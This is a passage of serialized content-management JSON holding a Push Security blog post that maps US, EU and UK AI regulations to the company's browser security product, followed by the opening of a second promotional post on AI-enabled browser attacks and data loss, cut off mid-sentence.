AI",{"data":1859,"content":1860,"nodeType":1835},{},[1861],{"data":1862,"content":1863,"nodeType":866},{},[1864],{"data":1865,"marks":1866,"value":1868,"nodeType":865},{},[1867],{"type":961},"Status","table-row",{"data":1871,"content":1872,"nodeType":1869},{},[1873,1895,1905,1939],{"data":1874,"content":1875,"nodeType":1835},{},[1876],{"data":1877,"content":1878,"nodeType":866},{},[1879,1882,1892],{"data":1880,"marks":1881,"value":21,"nodeType":865},{},[],{"data":1883,"content":1885,"nodeType":882},{"uri":1884},"https://artificialintelligenceact.eu/",[1886],{"data":1887,"marks":1888,"value":1891,"nodeType":865},{},[1889,1890],{"type":997},{"type":961},"EU AI Act",{"data":1893,"marks":1894,"value":21,"nodeType":865},{},[],{"data":1896,"content":1897,"nodeType":1835},{},[1898],{"data":1899,"content":1900,"nodeType":866},{},[1901],{"data":1902,"marks":1903,"value":1904,"nodeType":865},{},[],"EU",{"data":1906,"content":1907,"nodeType":1835},{},[1908],{"data":1909,"content":1910,"nodeType":866},{},[1911,1915,1923,1927,1935],{"data":1912,"marks":1913,"value":1914,"nodeType":865},{},[],"AI system inventory and risk classification; ",{"data":1916,"content":1918,"nodeType":882},{"uri":1917},"https://artificialintelligenceact.eu/article/4/",[1919],{"data":1920,"marks":1921,"value":1922,"nodeType":865},{},[],"AI literacy",{"data":1924,"marks":1925,"value":1926,"nodeType":865},{},[]," for all staff; ",{"data":1928,"content":1930,"nodeType":882},{"uri":1929},"https://artificialintelligenceact.eu/article/15/",[1931],{"data":1932,"marks":1933,"value":1934,"nodeType":865},{},[],"cybersecurity resilience",{"data":1936,"marks":1937,"value":1938,"nodeType":865},{},[]," for high-risk AI; transparency and human oversight",{"data":1940,"content":1941,"nodeType":1835},{},[1942],{"data":1943,"content":1944,"nodeType":866},{},[1945,1948,1956],{"data":1946,"marks":1947,"value":21,"nodeType":865},{},[],{"data":1949,"content":1950,"nodeType":882},{"uri":1917},[1951],{"data":1952,"marks":1953,"value":1955,"nodeType":865},{},[1954],{"type":997},"Art. 4",{"data":1957,"marks":1958,"value":1959,"nodeType":865},{},[]," (literacy) in force Feb 2025; high-risk obligations Aug 2026",{"data":1961,"content":1962,"nodeType":1869},{},[1963,1985,1995,2016],{"data":1964,"content":1965,"nodeType":1835},{},[1966],{"data":1967,"content":1968,"nodeType":866},{},[1969,1972,1982],{"data":1970,"marks":1971,"value":21,"nodeType":865},{},[],{"data":1973,"content":1975,"nodeType":882},{"uri":1974},"https://eur-lex.europa.eu/eli/reg/2022/2554/oj",[1976],{"data":1977,"marks":1978,"value":1981,"nodeType":865},{},[1979,1980],{"type":997},{"type":961},"DORA",{"data":1983,"marks":1984,"value":21,"nodeType":865},{},[],{"data":1986,"content":1987,"nodeType":1835},{},[1988],{"data":1989,"content":1990,"nodeType":866},{},[1991],{"data":1992,"marks":1993,"value":1994,"nodeType":865},{},[],"EU financial services",{"data":1996,"content":1997,"nodeType":1835},{},[1998],{"data":1999,"content":2000,"nodeType":866},{},[2001,2005,2012],{"data":2002,"marks":2003,"value":2004,"nodeType":865},{},[],"AI tools in ICT risk framework; AI providers in ",{"data":2006,"content":2007,"nodeType":882},{"uri":1974},[2008],{"data":2009,"marks":2010,"value":2011,"nodeType":865},{},[],"third-party risk registers",{"data":2013,"marks":2014,"value":2015,"nodeType":865},{},[],"; resilience testing covering AI-enhanced attacks",{"data":2017,"content":2018,"nodeType":1835},{},[2019],{"data":2020,"content":2021,"nodeType":866},{},[2022],{"data":2023,"marks":2024,"value":2025,"nodeType":865},{},[],"In force Jan 2025",{"data":2027,"content":2028,"nodeType":1869},{},[2029,2051,2061,2071],{"data":2030,"content":2031,"nodeType":1835},{},[2032],{"data":2033,"content":2034,"nodeType":866},{},[2035,2038,2048],{"data":2036,"marks":2037,"value":21,"nodeType":865},{},[],{"data":2039,"content":2041,"nodeType":882},{"uri":2040},"https://eur-lex.europa.eu/eli/reg/2024/2847/oj",[2042],{"data":2043,"marks":2044,"value":2047,"nodeType":865},{},[2045,2046],{"type":997},{"type":961},"EU Cyber Resilience Act",{"data":2049,"marks":2050,"value":21,"nodeType":865},{},[],{"data":2052,"content":2053,"nodeType":1835},{},[2054],{"data":2055,"content":2056,"nodeType":866},{},[2057],{"data":2058,"marks":2059,"value":2060,"nodeType":865},{},[],"EU digital products",{"data":2062,"content":2063,"nodeType":1835},{},[2064],{"data":2065,"content":2066,"nodeType":866},{},[2067],{"data":2068,"marks":2069,"value":2070,"nodeType":865},{},[],"AI-enabled software must meet essential cybersecurity requirements; vulnerability management and incident reporting",{"data":2072,"content":2073,"nodeType":1835},{},[2074],{"data":2075,"content":2076,"nodeType":866},{},[2077],{"data":2078,"marks":2079,"value":2080,"nodeType":865},{},[],"Reporting Sep 2026; full compliance Dec 2027",{"data":2082,"content":2083,"nodeType":1869},{},[2084,2106,2116,2166],{"data":2085,"content":2086,"nodeType":1835},{},[2087],{"data":2088,"content":2089,"nodeType":866},{},[2090,2093,2103],{"data":2091,"marks":2092,"value":21,"nodeType":865},{},[],{"data":2094,"content":2096,"nodeType":882},{"uri":2095},"https://www.dfs.ny.gov/industry_guidance/cybersecurity",[2097],{"data":2098,"marks":2099,"value":2102,"nodeType":865},{},[2100,2101],{"type":997},{"type":961},"NYDFS 23 NYCRR 500",{"data":2104,"marks":2105,"value":21,"nodeType":865},{},[],{"data":2107,"content":2108,"nodeType":1835},{},[2109],{"data":2110,"content":2111,"nodeType":866},{},[2112],{"data":2113,"marks":2114,"value":2115,"nodeType":865},{},[],"US (NY financial services)",{"data":2117,"content":2118,"nodeType":1835},{},[2119],{"data":2120,"content":2121,"nodeType":866},{},[2122,2125,2134,2138,2146,2150,2163],{"data":2123,"marks":2124,"value":21,"nodeType":865},{},[],{"data":2126,"content":2128,"nodeType":882},{"uri":2127},"https://www.dfs.ny.gov/industry-guidance/industry-letters/il20241016-cyber-risks-ai-and-strategies-combat-related-risks",[2129],{"data":2130,"marks":2131,"value":2133,"nodeType":865},{},[2132],{"type":997},"AI-resistant MFA",{"data":2135,"marks":2136,"value":2137,"nodeType":865},{},[],"; employee training on AI threats; ",{"data":2139,"content":2141,"nodeType":882},{"uri":2140},"https://www.dfs.ny.gov/industry-guidance/industry-letters/il20251021-guidance-managing-risks-third-party",[2142],{"data":2143,"marks":2144,"value":2145,"nodeType":865},{},[],"third-party AI risk assessment",{"data":2147,"marks":2148,"value":2149,"nodeType":865},{},[],";",{"data":2151,"content":2153,"nodeType":882},{"uri":2152},"https://www.dfs.ny.gov/industry-guidance/industry-letters/20260521-heightened-cybersecurity-risks-assoc-with-frontier-ai-models",[2154,2158],{"data":2155,"marks":2156,"value":2157,"nodeType":865},{},[]," ",{"data":2159,"marks":2160,"value":2162,"nodeType":865},{},[2161],{"type":997},"frontier AI model defenses",{"data":2164,"marks":2165,"value":21,"nodeType":865},{},[],{"data":2167,"content":2168,"nodeType":1835},{},[2169],{"data":2170,"content":2171,"nodeType":866},{},[2172,2176,2183,2187,2194,2197,2204],{"data":2173,"marks":2174,"value":2175,"nodeType":865},{},[],"Phased 2023–2025; AI-specific guidance issued ",{"data":2177,"content":2178,"nodeType":882},{"uri":2127},[2179],{"data":2180,"marks":2181,"value":2182,"nodeType":865},{},[],"Oct 2024",{"data":2184,"marks":2185,"value":2186,"nodeType":865},{},[],", ",{"data":2188,"content":2189,"nodeType":882},{"uri":2140},[2190],{"data":2191,"marks":2192,"value":2193,"nodeType":865},{},[],"Oct 2025",{"data":2195,"marks":2196,"value":2186,"nodeType":865},{},[],{"data":2198,"content":2199,"nodeType":882},{"uri":2152},[2200],{"data":2201,"marks":2202,"value":2203,"nodeType":865},{},[],"May 2026",{"data":2205,"marks":2206,"value":21,"nodeType":865},{},[],{"data":2208,"content":2209,"nodeType":1869},{},[2210,2232,2242,2252],{"data":2211,"content":2212,"nodeType":1835},{},[2213],{"data":2214,"content":2215,"nodeType":866},{},[2216,2219,2229],{"data":2217,"marks":2218,"value":21,"nodeType":865},{},[],{"data":2220,"content":2222,"nodeType":882},{"uri":2221},"https://www.ncsl.org/technology-and-communication/2025-state-privacy-legislation-tracker",[2223],{"data":2224,"marks":2225,"value":2228,"nodeType":865},{},[2226,2227],{"type":997},{"type":961},"US State Privacy laws",{"data":2230,"marks":2231,"value":21,"nodeType":865},{},[],{"data":2233,"content":2234,"nodeType":1835},{},[2235],{"data":2236,"content":2237,"nodeType":866},{},[2238],{"data":2239,"marks":2240,"value":2241,"nodeType":865},{},[],"US (20+ states)",{"data":2243,"content":2244,"nodeType":1835},{},[2245],{"data":2246,"content":2247,"nodeType":866},{},[2248],{"data":2249,"marks":2250,"value":2251,"nodeType":865},{},[],"Automated decision-making transparency, opt-out rights, and impact assessments; AI and children's data protections",{"data":2253,"content":2254,"nodeType":1835},{},[2255],{"data":2256,"content":2257,"nodeType":866},{},[2258],{"data":2259,"marks":2260,"value":2261,"nodeType":865},{},[],"Rolling 2024–2027 (CA, CO, CT leading)",{"data":2263,"content":2264,"nodeType":1869},{},[2265,2287,2297,2307],{"data":2266,"content":2267,"nodeType":1835},{},[2268],{"data":2269,"content":2270,"nodeType":866},{},[2271,2274,2284],{"data":2272,"marks":2273,"value":21,"nodeType":865},{},[],{"data":2275,"content":2277,"nodeType":882},{"uri":2276},"https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/index.html",[2278],{"data":2279,"marks":2280,"value":2283,"nodeType":865},{},[2281,2282],{"type":997},{"type":961},"HIPAA Security Rule",{"data":2285,"marks":2286,"value":21,"nodeType":865},{},[],{"data":2288,"content":2289,"nodeType":1835},{},[2290],{"data":2291,"content":2292,"nodeType":866},{},[2293],{"data":2294,"marks":2295,"value":2296,"nodeType":865},{},[],"US healthcare",{"data":2298,"content":2299,"nodeType":1835},{},[2300],{"data":2301,"content":2302,"nodeType":866},{},[2303],{"data":2304,"marks":2305,"value":2306,"nodeType":865},{},[],"AI tools in mandatory technology asset inventory; mandatory encryption covering AI; AI-enhanced attack preparedness",{"data":2308,"content":2309,"nodeType":1835},{},[2310],{"data":2311,"content":2312,"nodeType":866},{},[2313,2316,2325],{"data":2314,"marks":2315,"value":21,"nodeType":865},{},[],{"data":2317,"content":2319,"nodeType":882},{"uri":2318},"https://www.hhs.gov/hipaa/for-professionals/security/hipaa-security-rule-nprm/factsheet/index.html",[2320],{"data":2321,"marks":2322,"value":2324,"nodeType":865},{},[2323],{"type":997},"Final rule",{"data":2326,"marks":2327,"value":2328,"nodeType":865},{},[]," expected 2026",{"data":2330,"content":2331,"nodeType":1869},{},[2332,2354,2364,2386],{"data":2333,"content":2334,"nodeType":1835},{},[2335],{"data":2336,"content":2337,"nodeType":866},{},[2338,2341,2351],{"data":2339,"marks":2340,"value":21,"nodeType":865},{},[],{"data":2342,"content":2344,"nodeType":882},{"uri":2343},"https://www.legislation.gov.uk/ukpga/2025/18",[2345],{"data":2346,"marks":2347,"value":2350,"nodeType":865},{},[2348,2349],{"type":997},{"type":961},"UK Data (Use and Access) Act",{"data":2352,"marks":2353,"value":21,"nodeType":865},{},[],{"data":2355,"content":2356,"nodeType":1835},{},[2357],{"data":2358,"content":2359,"nodeType":866},{},[2360],{"data":2361,"marks":2362,"value":2363,"nodeType":865},{},[],"UK",{"data":2365,"content":2366,"nodeType":1835},{},[2367],{"data":2368,"content":2369,"nodeType":866},{},[2370,2374,2382],{"data":2371,"marks":2372,"value":2373,"nodeType":865},{},[],"Reformed ",{"data":2375,"content":2377,"nodeType":882},{"uri":2376},"https://www.legislation.gov.uk/ukpga/2025/18/section/80",[2378],{"data":2379,"marks":2380,"value":2381,"nodeType":865},{},[],"automated decision-making rules",{"data":2383,"marks":2384,"value":2385,"nodeType":865},{},[]," (new Arts. 22A-22D UK GDPR): meaningful information about decisions, right to make representations, human intervention and contestation rights; stricter controls for special category data; new complaints-handling duty with 30-day response clock (from June 2026)",{"data":2387,"content":2388,"nodeType":1835},{},[2389],{"data":2390,"content":2391,"nodeType":866},{},[2392],{"data":2393,"marks":2394,"value":2395,"nodeType":865},{},[],"Main provisions Feb 2026; complaints duty June 2026","table",{"data":2398,"content":2402,"nodeType":925},{"target":2399},{"sys":2400},{"id":2401,"type":922,"linkType":923},"1J7nJKJ5XDLLiicX9cD4H1",[],{"data":2404,"content":2405,"nodeType":866},{},[2406],{"data":2407,"marks":2408,"value":2409,"nodeType":865},{},[],"Even if your organization isn't yet subject to these specific regulations, the direction of travel matters. The EU has a track record of setting global regulatory standards: GDPR reshaped data privacy practices worldwide, and the Digital Markets Act is influencing antitrust enforcement well beyond European borders.",{"data":2411,"content":2412,"nodeType":866},{},[2413],{"data":2414,"marks":2415,"value":2416,"nodeType":865},{},[],"The EU AI Act is the world's first comprehensive AI law, and the pattern of obligation categories it establishes is already visible in NYDFS guidance, US state privacy legislation, and the UK's reformed automated decision-making framework. Organizations that build the operational foundations to meet these obligations now will be ahead of whatever comes next, regardless of jurisdiction.",{"data":2418,"content":2419,"nodeType":953},{},[],{"data":2421,"content":2422,"nodeType":963},{},[2423],{"data":2424,"marks":2425,"value":2427,"nodeType":865},{},[2426],{"type":961},"Five obligation categories appear across frameworks",{"data":2429,"content":2430,"nodeType":866},{},[2431],{"data":2432,"marks":2433,"value":2434,"nodeType":865},{},[],"Across these frameworks, the AI-specific obligations cluster into five categories. Individual regulations word them differently and scope them to different sectors, but the compliance actions they require are largely the same.",{"data":2436,"content":2437,"nodeType":1458},{},[2438],{"data":2439,"marks":2440,"value":2442,"nodeType":865},{},[2441],{"type":961},"1. AI inventory and classification",{"data":2444,"content":2445,"nodeType":866},{},[2446],{"data":2447,"marks":2448,"value":2449,"nodeType":865},{},[],"You can't classify AI systems by risk level if you don't know which ones your employees are using. Multiple regulations now require organizations to maintain a complete inventory of AI tools in their environment — whether as part of risk classification, asset management, or third-party risk registers.",{"data":2451,"content":2455,"nodeType":925},{"target":2452},{"sys":2453},{"id":2454,"type":922,"linkType":923},"6MEapKaazFTulp7Ql0m7H1",[],{"data":2457,"content":2460,"nodeType":925},{"target":2458},{"sys":2459},{"id":921,"type":922,"linkType":923},[],{"data":2462,"content":2463,"nodeType":1458},{},[2464],{"data":2465,"marks":2466,"value":2468,"nodeType":865},{},[2467],{"type":961},"2. AI literacy and employee guidance",{"data":2470,"content":2471,"nodeType":866},{},[2472,2476,2481],{"data":2473,"marks":2474,"value":2475,"nodeType":865},{},[],"Regulators increasingly expect organizations to demonstrate that employees understand the AI tools they use — not through annual training alone, but through continuous, contextual guidance at the point of interaction. Several frameworks now require auditable evidence that staff have been educated about AI risks and acceptable use policies. The common thread is the need for ",{"data":2477,"marks":2478,"value":2480,"nodeType":865},{},[2479],{"type":961},"ongoing",{"data":2482,"marks":2483,"value":2484,"nodeType":865},{},[]," education, not as a one-off compliance exercise, but continuously at the point of interaction.",{"data":2486,"content":2487,"nodeType":1458},{},[2488],{"data":2489,"marks":2490,"value":2492,"nodeType":865},{},[2491],{"type":961},"3. AI data governance and exposure control",{"data":2494,"content":2495,"nodeType":866},{},[2496],{"data":2497,"marks":2498,"value":2499,"nodeType":865},{},[],"Regulations are converging on the requirement for controls over what data enters AI tools. This includes sensitive personal data, health data, and data subject to automated decision-making. Organizations need to know where personal data is being processed by AI and have mechanisms to prevent unauthorized exposure.",{"data":2501,"content":2502,"nodeType":1458},{},[2503],{"data":2504,"marks":2505,"value":2507,"nodeType":865},{},[2506],{"type":961},"4. AI-resistant authentication and phishing defense",{"data":2509,"content":2510,"nodeType":866},{},[2511],{"data":2512,"marks":2513,"value":2514,"nodeType":865},{},[],"AI is making phishing attacks more convincing and harder to detect through traditional means. Several frameworks now require authentication methods that can withstand AI-enhanced attacks, specifically naming phishing-resistant options like digital certificates and security keys over SMS or voice-based authentication. Beyond authentication, organizations need defenses against AI-powered phishing that bypasses the lure-quality signals users were trained to spot.",{"data":2516,"content":2520,"nodeType":925},{"target":2517},{"sys":2518},{"id":2519,"type":922,"linkType":923},"6v3l0lGH6twfYi2JaM5fKt",[],{"data":2522,"content":2523,"nodeType":1458},{},[2524],{"data":2525,"marks":2526,"value":2528,"nodeType":865},{},[2527],{"type":961},"5. Third-party AI risk and supply chain governance",{"data":2530,"content":2531,"nodeType":866},{},[2532],{"data":2533,"marks":2534,"value":2535,"nodeType":865},{},[],"Employees adopt AI tools faster than procurement can track them, and each one that connects to corporate systems via OAuth creates a persistent trust relationship. Regulators now require organizations to know which third-party AI services they depend on, what permissions those services hold, and whether they introduce concentration risk. ",{"data":2537,"content":2541,"nodeType":925},{"target":2538},{"sys":2539},{"id":2540,"type":922,"linkType":923},"7xx2yYRJXBY55qTqBTTZcp",[],{"data":2543,"content":2544,"nodeType":953},{},[],{"data":2546,"content":2547,"nodeType":963},{},[2548],{"data":2549,"marks":2550,"value":2552,"nodeType":865},{},[2551],{"type":961},"How the regulations will be enforced",{"data":2554,"content":2555,"nodeType":866},{},[2556,2560,2568],{"data":2557,"marks":2558,"value":2559,"nodeType":865},{},[],"The consequences extend well beyond fines. EU AI Act penalties reach ",{"data":2561,"content":2563,"nodeType":882},{"uri":2562},"https://artificialintelligenceact.eu/article/99/",[2564],{"data":2565,"marks":2566,"value":2567,"nodeType":865},{},[],"€35 million or 7% of global turnover",{"data":2569,"marks":2570,"value":2571,"nodeType":865},{},[]," for prohibited practices, but the operational impact may bite harder: non-compliant AI systems cannot be placed on the EU market, and providers bear direct responsibility for conformity under Articles 16 and 26 — meaning the CISO who signed off on an AI deployment that turns out to be non-compliant has personal exposure, not just a budget line item.",{"data":2573,"content":2574,"nodeType":866},{},[2575,2579,2588],{"data":2576,"marks":2577,"value":2578,"nodeType":865},{},[],"Italy's implementation law (",{"data":2580,"content":2582,"nodeType":882},{"uri":2581},"https://www.nortonrosefulbright.com/en/knowledge/publications/9bfedfea/italy-enacts-law-no-132-2025-on-artificial-intelligence-sector-rules-and-next-steps",[2583],{"data":2584,"marks":2585,"value":2587,"nodeType":865},{},[2586],{"type":997},"Law No. 132/2025",{"data":2589,"marks":2590,"value":2591,"nodeType":865},{},[],") goes further, introducing criminal penalties including imprisonment for AI-related offenses like deepfake dissemination.",{"data":2593,"content":2594,"nodeType":866},{},[2595,2599,2607],{"data":2596,"marks":2597,"value":2598,"nodeType":865},{},[],"NYDFS penalties accumulate at $2,500 per day per violation, and the regulator has been aggressive: it levied ",{"data":2600,"content":2602,"nodeType":882},{"uri":2601},"https://pushsecurity.com/blog/what-the-expansion-of-nydfs-nycrr-part-500-means-for-mfa-compliance/",[2603],{"data":2604,"marks":2605,"value":2606,"nodeType":865},{},[],"$14 million in fines",{"data":2608,"marks":2609,"value":2610,"nodeType":865},{},[]," from companies with inadequate MFA. CISOs sign annual compliance certifications under §500.17 where false certification carries personal liability.",{"data":2612,"content":2613,"nodeType":866},{},[2614],{"data":2615,"marks":2616,"value":2617,"nodeType":865},{},[],"The UK's Data (Use and Access) Act preserves ICO enforcement powers with fines up to £17.5 million or 4% of global turnover, and introduces a new statutory right for individuals to complain directly to controllers about automated decisions, with a 30-day response clock.",{"data":2619,"content":2620,"nodeType":953},{},[],{"data":2622,"content":2623,"nodeType":963},{},[2624],{"data":2625,"marks":2626,"value":2628,"nodeType":865},{},[2627],{"type":961},"Where Push maps to these obligations",{"data":2630,"content":2631,"nodeType":866},{},[2632],{"data":2633,"marks":2634,"value":2635,"nodeType":865},{},[],"The five obligation categories above map to specific Push capabilities, some directly, others as supporting evidence. Push's relevance to AI regulation isn't a new product direction. The same capabilities that security teams already use for shadow SaaS discovery, phishing defense, and identity posture hardening are what compliance teams need to demonstrate AI governance.",{"data":2637,"content":2638,"nodeType":1458},{},[2639,2644],{"data":2640,"marks":2641,"value":2643,"nodeType":865},{},[2642],{"type":961},"AI inventory and shadow AI discovery.",{"data":2645,"marks":2646,"value":2157,"nodeType":865},{},[],{"data":2648,"content":2649,"nodeType":866},{},[2650],{"data":2651,"marks":2652,"value":2653,"nodeType":865},{},[],"Push identifies every AI app, AI browser extension, and AI OAuth integration in use across the organization, not from network traffic patterns or procurement records, but from actual observed usage in the browser.",{"data":2655,"content":2656,"nodeType":1458},{},[2657,2662],{"data":2658,"marks":2659,"value":2661,"nodeType":865},{},[2660],{"type":961},"AI usage policy enforcement and literacy evidence.",{"data":2663,"marks":2664,"value":2157,"nodeType":865},{},[],{"data":2666,"content":2667,"nodeType":866},{},[2668],{"data":2669,"marks":2670,"value":2671,"nodeType":865},{},[],"Push's custom app banners deliver contextual policy guidance the moment an employee accesses an AI tool: linking to approved usage policies, data handling guidelines, or approved alternatives. Banners are fully customizable: they can include specific instructions, link to AI policy documents or approved alternatives, and messages from the security team tailored to the tool or user group. ",{"data":2673,"content":2677,"nodeType":925},{"target":2674},{"sys":2675},{"id":2676,"type":922,"linkType":923},"4bt65QXDiyTi1eq7wnbHUh",[],{"data":2679,"content":2680,"nodeType":1458},{},[2681,2686],{"data":2682,"marks":2683,"value":2685,"nodeType":865},{},[2684],{"type":961},"AI data exposure controls.",{"data":2687,"marks":2688,"value":2157,"nodeType":865},{},[],{"data":2690,"content":2691,"nodeType":866},{},[2692],{"data":2693,"marks":2694,"value":2695,"nodeType":865},{},[],"Push observes what users type, paste, and upload into AI tools, and can apply real-time controls, warning or blocking when sensitive patterns are detected. This is browser-layer DLP scoped to the AI interaction surface: it won't replace a dedicated DLP platform, but it closes the specific gap that most DLP tools miss because they lack visibility into browser-based AI interactions. Push provides the detection and enforcement layer at the point where the data actually leaves the organization.",{"data":2697,"content":2698,"nodeType":1458},{},[2699,2704],{"data":2700,"marks":2701,"value":2703,"nodeType":865},{},[2702],{"type":961},"MFA verification and phishing defense.",{"data":2705,"marks":2706,"value":2157,"nodeType":865},{},[],{"data":2708,"content":2709,"nodeType":866},{},[2710],{"data":2711,"marks":2712,"value":2713,"nodeType":865},{},[],"Push detects where MFA is missing and identifies the type of MFA in use, directly supporting the push toward phishing-resistant authentication methods.",{"data":2715,"content":2716,"nodeType":866},{},[2717],{"data":2718,"marks":2719,"value":2720,"nodeType":865},{},[],"Push's behavioral phishing detection stops AiTM phishing, credential harvesting, device code phishing, and ClickFix attacks because Push detects malicious behavior in the browser, making it effective against even AI-powered phishing attacks, or those that are delivered over traditionally unmonitored channels such as search engines, social media, or even via phone call.",{"data":2722,"content":2726,"nodeType":925},{"target":2723},{"sys":2724},{"id":2725,"type":922,"linkType":923},"3hqv1nql8FvB8j7uRiddqB",[],{"data":2728,"content":2729,"nodeType":1458},{},[2730,2735],{"data":2731,"marks":2732,"value":2734,"nodeType":865},{},[2733],{"type":961},"Third-party AI risk visibility.",{"data":2736,"marks":2737,"value":2157,"nodeType":865},{},[],{"data":2739,"content":2740,"nodeType":866},{},[2741],{"data":2742,"marks":2743,"value":2744,"nodeType":865},{},[],"Push maps exactly which AI services employees have accessed and used, connected to other business apps via OAuth, what permissions those integrations hold, and who authorized them. This surfaces the AI providers that procurement never approved but employees adopted anyway, before they become a compliance finding or a breach vector.",{"data":2746,"content":2747,"nodeType":953},{},[],{"data":2749,"content":2750,"nodeType":963},{},[2751],{"data":2752,"marks":2753,"value":2755,"nodeType":865},{},[2754],{"type":961},"The compliance gap is an observability gap",{"data":2757,"content":2758,"nodeType":866},{},[2759],{"data":2760,"marks":2761,"value":2762,"nodeType":865},{},[],"The common failure mode across all five obligation categories is the same: the organization has a policy but can't demonstrate enforcement, because the tooling that would provide evidence operates at the wrong layer. IdP logs show managed authentication but not shadow AI logins. Network tools see traffic to AI domains but not the OAuth consent grants or the data in the clipboard. Annual training records exist but can't prove that an employee received guidance at the point of AI interaction.",{"data":2764,"content":2765,"nodeType":866},{},[2766],{"data":2767,"marks":2768,"value":2769,"nodeType":865},{},[],"Browser-layer telemetry closes each of these gaps because it's where the regulated activity actually happens, and where (with Push) you can observe and control it too.",{"data":2771,"content":2772,"nodeType":866},{},[2773],{"data":2774,"marks":2775,"value":2776,"nodeType":865},{},[],"The regulations covered here are the current landscape, but they aren't the final one. AI governance requirements are accelerating: NIST's AI cybersecurity framework profile is expected this summer, CISA's Five Eyes agentic AI guidance landed in May, and EU member states are still building out their national enforcement regimes.",{"data":2778,"content":2782,"nodeType":925},{"target":2779},{"sys":2780},{"id":2781,"type":922,"linkType":923},"OThPeKuFnpoo1e1FAGsFP",[],{"data":2784,"content":2785,"nodeType":953},{},[],{"data":2787,"content":2788,"nodeType":866},{},[2789],{"data":2790,"marks":2791,"value":2792,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":2794,"content":2795,"nodeType":866},{},[2796],{"data":2797,"marks":2798,"value":1718,"nodeType":865},{},[],{"data":2800,"content":2801,"nodeType":866},{},[2802,2805,2813],{"data":2803,"marks":2804,"value":21,"nodeType":865},{},[],{"data":2806,"content":2807,"nodeType":882},{"uri":1728},[2808],{"data":2809,"marks":2810,"value":2812,"nodeType":865},{},[2811],{"type":997},"Book a live demo to learn more.",{"data":2814,"marks":2815,"value":21,"nodeType":865},{},[],"AI regulation is here: how browser visibility and control can achieve compliance","AI regulations across the US, EU, and UK are converging on obligations that most organizations can't meet without browser visibility into AI tool use.","2026-06-02T00:00:00.000Z","browser-visibility-and-control-can-achieve-ai-compliance",{"items":2821},[2822,2826],{"sys":2823,"name":2825},{"id":2824},"1gZi8NrRy2v9OqPV7C4dwD","Risk management",{"sys":2827,"name":297},{"id":2828},"3pjES4THCIfSAwhGdNwBcy",{"items":2830},[2831],{"fullName":2832,"firstName":2833,"jobTitle":2834,"profilePicture":2835},"John Creaton","John","Head of Legal",{"url":2836},"https://images.ctfassets.net/y1cdw1ablpvd/ykgZqhGCFFxufznVsqTiM/6bd977c68dd504642f0064bdb90ebdee/1774636973277.jpeg",{"__typename":1788,"sys":2838,"content":2840,"title":3762,"synopsis":3763,"hashTags":59,"publishedDate":2818,"slug":3764,"tagsCollection":3765,"authorsCollection":3771},{"id":2839},"I5SoVIYsYVgutpLIzZRpC",{"json":2841},{"data":2842,"content":2843,"nodeType":1739},{},[2844,2851,2858,2879,2886,2893,2896,2904,2911,2918,2941,2948,2955,2961,2964,2972,2979,2985,2992,3000,3032,3051,3057,3065,3072,3078,3098,3106,3113,3145,3151,3166,3169,3177,3184,3189,3205,3212,3219,3231,3251,3258,3265,3273,3280,3299,3305,3312,3318,3324,3327,3335,3342,3349,3412,3419,3426,3433,3440,3456,3463,3470,3477,3484,3491,3498,3505,3512,3519,3526,3533,3540,3547,3550,3558,3565,3577,3584,3591,3598,3605,3729,3735,3741,3744],{"data":2845,"content":2846,"nodeType":866},{},[2847],{"data":2848,"marks":2849,"value":2850,"nodeType":865},{},[],"When is a fork not a fork? When it's a browser security platform built to solve both problems of the AI era.",{"data":2852,"content":2853,"nodeType":866},{},[2854],{"data":2855,"marks":2856,"value":2857,"nodeType":865},{},[],"Many security leaders are rightly worried about two big problems in the age of AI: AI-enabled attacks targeting their employees via the browser; and employees introducing the risk of data loss through their use of AI tools.",{"data":2859,"content":2860,"nodeType":866},{},[2861,2866,2870,2875],{"data":2862,"marks":2863,"value":2865,"nodeType":865},{},[2864],{"type":961},"For security teams researching browser-based solutions to these challenges, the decision at first looks like a fork in the road: ",{"data":2867,"marks":2868,"value":2869,"nodeType":865},{},[],"Choose a solution that's purpose-built to detect and respond to modern browser-based attacks like AI-enabled phish kits, ClickFix and other *Fix-style attacks, malicious browser extensions, device code phishing, and others; ",{"data":2871,"marks":2872,"value":2874,"nodeType":865},{},[2873],{"type":944},"or",{"data":2876,"marks":2877,"value":2878,"nodeType":865},{},[]," select an AI governance tool to enforce sensible policies for sensitive data in the browser.",{"data":2880,"content":2881,"nodeType":866},{},[2882],{"data":2883,"marks":2884,"value":2885,"nodeType":865},{},[],"Push solves both of these problems. One platform, one SKU.",{"data":2887,"content":2888,"nodeType":866},{},[2889],{"data":2890,"marks":2891,"value":2892,"nodeType":865},{},[],"In this article, we'll take a look at the two big AI security and data governance problems that security teams are facing and outline how Push solves them in a single solution. We’ll cover what questions to ask as you evaluate browser security solutions, and describe Push's focus on providing foundational telemetry, detections, and controls that allow you to answer the question “What actually happened here?” not just “What policy was violated?”",{"data":2894,"content":2895,"nodeType":953},{},[],{"data":2897,"content":2898,"nodeType":963},{},[2899],{"data":2900,"marks":2901,"value":2903,"nodeType":865},{},[2902],{"type":961},"The AI risks every security team is now responsible for",{"data":2905,"content":2906,"nodeType":866},{},[2907],{"data":2908,"marks":2909,"value":2910,"nodeType":865},{},[],"AI is an amplifier, for adversaries and for your employees. Whatever they could do before, they can now do faster, more powerfully, and at scale.",{"data":2912,"content":2913,"nodeType":866},{},[2914],{"data":2915,"marks":2916,"value":2917,"nodeType":865},{},[],"The two risks that every security team now must manage: ",{"data":2919,"content":2920,"nodeType":1049},{},[2921,2931],{"data":2922,"content":2923,"nodeType":1003},{},[2924],{"data":2925,"content":2926,"nodeType":866},{},[2927],{"data":2928,"marks":2929,"value":2930,"nodeType":865},{},[],"AI is making browser-based attacks faster, cheaper, and harder to detect.",{"data":2932,"content":2933,"nodeType":1003},{},[2934],{"data":2935,"content":2936,"nodeType":866},{},[2937],{"data":2938,"marks":2939,"value":2940,"nodeType":865},{},[],"Employee AI adoption is creating data exposure faster than security teams can respond.",{"data":2942,"content":2943,"nodeType":866},{},[2944],{"data":2945,"marks":2946,"value":2947,"nodeType":865},{},[],"Both of these challenges intersect in the same place: The browser. It's the place where adversaries target employees with modern attacks designed to accomplish account takeover and data exfiltration. It's also the place where workers discover and use new AI-enabled apps and introduce risk into the business in the form of data loss, shadow apps, risky browser extensions, and shadow integrations.",{"data":2949,"content":2950,"nodeType":866},{},[2951],{"data":2952,"marks":2953,"value":2954,"nodeType":865},{},[],"To address both problems, security 